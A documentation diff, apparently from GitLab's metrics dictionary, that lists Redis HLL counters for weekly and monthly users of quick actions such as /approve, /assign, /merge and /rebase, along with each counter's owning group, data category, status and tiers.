+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_approve_monthly`
+
+Count of MAU using the `/approve` quick action
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181508_i_quickactions_approve_monthly.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_approve_weekly`
+
+Count of WAU using the `/approve` quick action
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181506_i_quickactions_approve_weekly.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_assign_multiple_monthly`
+
+Count of MAU using the `/assign @user1 @user2` quick action
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216181516_i_quickactions_assign_multiple_monthly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_assign_multiple_weekly`
+
+Count of WAU using the `/assign @user1 @user2` quick action
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181514_i_quickactions_assign_multiple_weekly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_assign_reviewer_monthly`
+
+Count of MAU using the `/assign_reviewer` or `request_reviewer` quick action
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181523_i_quickactions_assign_reviewer_monthly.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_assign_reviewer_weekly`
+
+Count of WAU using the `/assign_reviewer` or `request_reviewer` quick action
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181521_i_quickactions_assign_reviewer_weekly.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_assign_self_monthly`
+
+Count of MAU using the `/assign me` quick action to assign self to an issuable
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181519_i_quickactions_assign_self_monthly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_assign_self_weekly`
+
+Count of WAU using the `/assign me` quick action to assign self to an issuable
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181517_i_quickactions_assign_self_weekly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_assign_single_monthly`
+
+Count of MAU using the `/assign @user1` quick action to assign a single individual to an issuable
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181512_i_quickactions_assign_single_monthly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_assign_single_weekly`
+
+Count of WAU using the `/assign @user1` quick action to assign a single individual to an issuable
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181510_i_quickactions_assign_single_weekly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_award_monthly`
+
+Count of MAU using the `/award` quick action to set an award emoji on an issuable
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181527_i_quickactions_award_monthly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_award_weekly`
+
+Count of WAU using the `/award` quick action to set an award emoji on an issuable
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181525_i_quickactions_award_weekly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_board_move_monthly`
+
+Count of MAU using the `/board_move` quick action
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181530_i_quickactions_board_move_monthly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_board_move_weekly`
+
+Count of WAU using the `/board_move` quick action
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181529_i_quickactions_board_move_weekly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_child_epic_monthly`
+
+Count of MAU using the `/child_epic` quick action
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216181534_i_quickactions_child_epic_monthly.yml)
+
+Group: `group::product planning`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_child_epic_weekly`
+
+Count of WAU using the `/child_epic` quick action
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181532_i_quickactions_child_epic_weekly.yml)
+
+Group: `group::product planning`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_clear_weight_monthly`
+
+Count of MAU using the `/clear_weight` quick action
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216181538_i_quickactions_clear_weight_monthly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_clear_weight_weekly`
+
+Count of WAU using the `/clear_weight` quick action
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181536_i_quickactions_clear_weight_weekly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_clone_monthly`
+
+Count of MAU using the `/clone` quick action to clone an issue.
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181541_i_quickactions_clone_monthly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_clone_weekly`
+
+Count of WAU using the `/clone` quick action to clone an issue.
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181540_i_quickactions_clone_weekly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_close_monthly`
+
+Count of MAU using the `/close` quick action to close an issuable
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181545_i_quickactions_close_monthly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_close_weekly`
+
+Count of WAU using the `/close` quick action to close an issuable
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181543_i_quickactions_close_weekly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_confidential_monthly`
+
+Count of MAU using the `/confidential` quick action to set an issue as confidential
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181549_i_quickactions_confidential_monthly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_confidential_weekly`
+
+Count of WAU using the `/confidential` quick action to set an issue as confidential
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181547_i_quickactions_confidential_weekly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_copy_metadata_issue_monthly`
+
+Count of MAU using the `/copy_metadata` quick action on an issue
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181556_i_quickactions_copy_metadata_issue_monthly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_copy_metadata_issue_weekly`
+
+Count of WAU using the `/copy_metadata` quick action on an issue
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181554_i_quickactions_copy_metadata_issue_weekly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_copy_metadata_merge_request_monthly`
+
+Count of MAU using the `/copy_metadata` quick action on a Merge Request
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181553_i_quickactions_copy_metadata_merge_request_monthly.yml)
+
+Group: `group::source code`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_copy_metadata_merge_request_weekly`
+
+Count of WAU using the `/copy_metadata` quick action on a Merge Request
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181551_i_quickactions_copy_metadata_merge_request_weekly.yml)
+
+Group: `group::source code`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_create_merge_request_monthly`
+
+Count of MAU using the `/create_merge_request` quick action
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181600_i_quickactions_create_merge_request_monthly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_create_merge_request_weekly`
+
+Count of WAU using the `/create_merge_request` quick action
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181558_i_quickactions_create_merge_request_weekly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_done_monthly`
+
+Count of MAU using the `/done` quick action to mark a todo as done
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181604_i_quickactions_done_monthly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_done_weekly`
+
+Count of WAU using the `/done` quick action to mark a todo as done
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181602_i_quickactions_done_weekly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_draft_monthly`
+
+Count of MAU using the `/draft` quick action on a Merge Request
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181607_i_quickactions_draft_monthly.yml)
+
+Group: `group::source code`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_draft_weekly`
+
+Count of WAU using the `/draft` quick action on a Merge Request
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181605_i_quickactions_draft_weekly.yml)
+
+Group: `group::source code`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_due_monthly`
+
+Count of MAU using the `/due` quick action to change the due date on an issuable
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181611_i_quickactions_due_monthly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_due_weekly`
+
+Count of WAU using the `/due` quick action to change the due date on an issuable
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181609_i_quickactions_due_weekly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_duplicate_monthly`
+
+Count of MAU using the `/duplicate` quick action to mark an issue as a duplicate of another
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181615_i_quickactions_duplicate_monthly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_duplicate_weekly`
+
+Count of WAU using the `/duplicate` quick action to mark an issue as a duplicate of another
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181613_i_quickactions_duplicate_weekly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_epic_monthly`
+
+Count of MAU using the `/epic` quick action
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216181618_i_quickactions_epic_monthly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_epic_weekly`
+
+Count of WAU using the `/epic` quick action
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181617_i_quickactions_epic_weekly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_estimate_monthly`
+
+Count of MAU using the `/estimate` quick action to set a time estimate on an issue
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181622_i_quickactions_estimate_monthly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_estimate_weekly`
+
+Count of WAU using the `/estimate` quick action to set a time estimate on an issue
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181620_i_quickactions_estimate_weekly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_invite_email_multiple_monthly`
+
+Unique users using the /invite_email quick action to add a multiple email participants to an issue within 28 days
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210222041235_i_quickactions_invite_email_multiple_monthly.yml)
+
+Group: `group::product planning`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_invite_email_multiple_weekly`
+
+Unique users using the /invite_email quick action to add a multiple email participants to an issue within 7 days
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210303154600_i_quickactions_invite_email_multiple_weekly.yml)
+
+Group: `group::product planning`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_invite_email_single_monthly`
+
+Unique users using the /invite_email quick action to add a single email participant to an issue within 28 days
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210222041219_i_quickactions_invite_email_single_monthly.yml)
+
+Group: `group::product planning`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_invite_email_single_weekly`
+
+Unique users using the /invite_email quick action to add a single email participant to an issue within 7 days
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210303154557_i_quickactions_invite_email_single_weekly.yml)
+
+Group: `group::product planning`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_iteration_monthly`
+
+Count of MAU using the `/iteration` quick action
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216181626_i_quickactions_iteration_monthly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_iteration_weekly`
+
+Count of WAU using the `/iteration` quick action
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181624_i_quickactions_iteration_weekly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_label_monthly`
+
+Count of MAU using the `/label` quick action
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181629_i_quickactions_label_monthly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_label_weekly`
+
+Count of WAU using the `/label` quick action
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181628_i_quickactions_label_weekly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_lock_monthly`
+
+Count of MAU using the `/lock` quick action
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181633_i_quickactions_lock_monthly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_lock_weekly`
+
+Count of WAU using the `/lock` quick action
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181631_i_quickactions_lock_weekly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_merge_monthly`
+
+Count of MAU using the `/merge` quick action
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181637_i_quickactions_merge_monthly.yml)
+
+Group: `group::source code`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_merge_weekly`
+
+Count of WAU using the `/merge` quick action
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181635_i_quickactions_merge_weekly.yml)
+
+Group: `group::source code`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_milestone_monthly`
+
+Count of MAU using the `/milestone` quick action
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181641_i_quickactions_milestone_monthly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_milestone_weekly`
+
+Count of WAU using the `/milestone` quick action
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181639_i_quickactions_milestone_weekly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_move_monthly`
+
+Count of MAU using the `/move` quick action
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181644_i_quickactions_move_monthly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_move_weekly`
+
+Count of WAU using the `/move` quick action
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181642_i_quickactions_move_weekly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_parent_epic_monthly`
+
+Count of MAU using the `/parent_epic` quick action
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216181648_i_quickactions_parent_epic_monthly.yml)
+
+Group: `group::product planning`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_parent_epic_weekly`
+
+Count of WAU using the `/parent_epic` quick action
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181646_i_quickactions_parent_epic_weekly.yml)
+
+Group: `group::product planning`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_promote_monthly`
+
+Count of MAU using the `/promote` quick action
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216181652_i_quickactions_promote_monthly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_promote_weekly`
+
+Count of WAU using the `/promote` quick action
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181650_i_quickactions_promote_weekly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_publish_monthly`
+
+Count of MAU using the `/publish` quick action
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216181655_i_quickactions_publish_monthly.yml)
+
+Group: `group::monitor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_publish_weekly`
+
+Count of WAU using the `/publish` quick action
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181654_i_quickactions_publish_weekly.yml)
+
+Group: `group::monitor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_reassign_monthly`
+
+Count of MAU using the `/reassign @user1` quick action
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181659_i_quickactions_reassign_monthly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_reassign_reviewer_monthly`
+
+Count of MAU using the `/reassign_reviewer` quick action
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181703_i_quickactions_reassign_reviewer_monthly.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_reassign_reviewer_weekly`
+
+Count of WAU using the `/reassign_reviewer` quick action
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181701_i_quickactions_reassign_reviewer_weekly.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_reassign_weekly`
+
+Count of WAU using the `/reassign @user1` quick action
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181657_i_quickactions_reassign_weekly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_rebase_monthly`
+
+Count of MAU using the `/rebase` quick action on a Merge Request
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181707_i_quickactions_rebase_monthly.yml)
+
+Group: `group::source code`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_rebase_weekly`
+
+Count of WAU using the `/rebase` quick action on a Merge Request
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181705_i_quickactions_rebase_weekly.yml)
+
+Group: `group::source code`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_relabel_monthly`
+
+Count of MAU using the `/relabel` quick action
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181710_i_quickactions_relabel_monthly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_relabel_weekly`
+
+Count of WAU using the `/relabel` quick action
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181708_i_quickactions_relabel_weekly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_relate_monthly`
+
+Count of MAU using the `/relate` quick action
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181714_i_quickactions_relate_monthly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_relate_weekly`
+
+Count of WAU using the `/relate` quick action
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181712_i_quickactions_relate_weekly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.quickactions.i_quickactions_remove_child_epic_monthly`
+
+Count of MAU using the `/remove_child_epic` quick action
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216181718_i_quickactions_remove_child_epic_monthly.yml)
+
+Group: `group::product planning`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `ultimate`
